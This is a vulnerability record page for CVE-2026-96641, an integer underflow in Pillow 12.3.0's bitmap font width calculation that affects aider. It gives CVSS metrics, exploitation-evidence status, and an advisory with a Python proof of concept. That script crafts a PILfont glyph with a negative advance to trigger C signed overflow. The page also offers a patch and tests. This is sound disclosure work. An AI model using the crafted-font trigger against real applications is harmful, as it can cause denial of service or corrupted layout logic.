CVE-2026-96641VulnerabilityPublished 29 Oct 2026

aider · Pillow: Reachable undefined behavior

Affects aiderSource GCVE Database

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Authoritative record:CVE-2026-96641· Medium 6.5

Not known to be exploited · CVSS 6.5 Medium.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 3.1 base score

6.5Medium

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (GitHub_M)	CVSS 3.1	6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 21 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
Homebrewaider`pkg:brew/aider`Other threats	Affected >=0.86.1_1	Fixed in–

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Description

### Summary Affected Object and Source Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx ### Details The code in Pillow 12.3.0 is: ```c for (xsize = 0; *text; text++) { int dx = self->glyphs[*text].dx; if (dx > 0 && xsize > INT_MAX - dx) { PyErr_SetString(PyExc_OverflowError, "Width too large"); return -1; } xsize += dx; } ``` The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves: `dx > 0 => xsize <= INT_MAX - dx` It does **not** prove the other half of the contract: `dx < 0 => xsize >= INT_MIN - dx` Taking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**. ### PoC ```python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow. Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """ from __future__ import annotations import struct from io import BytesIO import PIL from PIL import Image, ImageFont ADVANCE = -(2**15) CONTROL_REPEAT = 65_536 WITNESS_REPEAT = 65_537 def bitmap_font(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 * 20) glyph_offset = ord("A") * 20 metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance) font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1))) return font def main() -> None: font = bitmap_font(ADVANCE) print(f"Pillow={PIL.__version__}") print(f"control_math={ADVANCE * CONTROL_REPEAT}") print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}") print(f"witness_math={ADVANCE * WITNESS_REPEAT}") print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}") if __name__ == "__main__": main() ``` Observations from a regular 12.3.0 release build: ```text Pillow=12.3.0 control_math=-2147483648 control_return=0 witness_math=-2147516416 witness_return=2147450880 ``` The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`. ### Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors. Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability. ### Recommended Patch and Regression Tests It is recommended to extend the overflow check to cover both directions: ```c if ((dx > 0 && xsize > INT_MAX - dx) || (dx < 0 && xsize < INT_MIN - dx)) { PyErr_SetString(PyExc_OverflowError, "Width too large"); return -1; } ``` At a minimum, four test cases should be added: 1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed); 2. `dx = 32767, repeat = 65539` — should raise `OverflowError`; 3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed); 4. `dx = -32768, repeat = 65537` — should raise `OverflowError`. Additionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.

References

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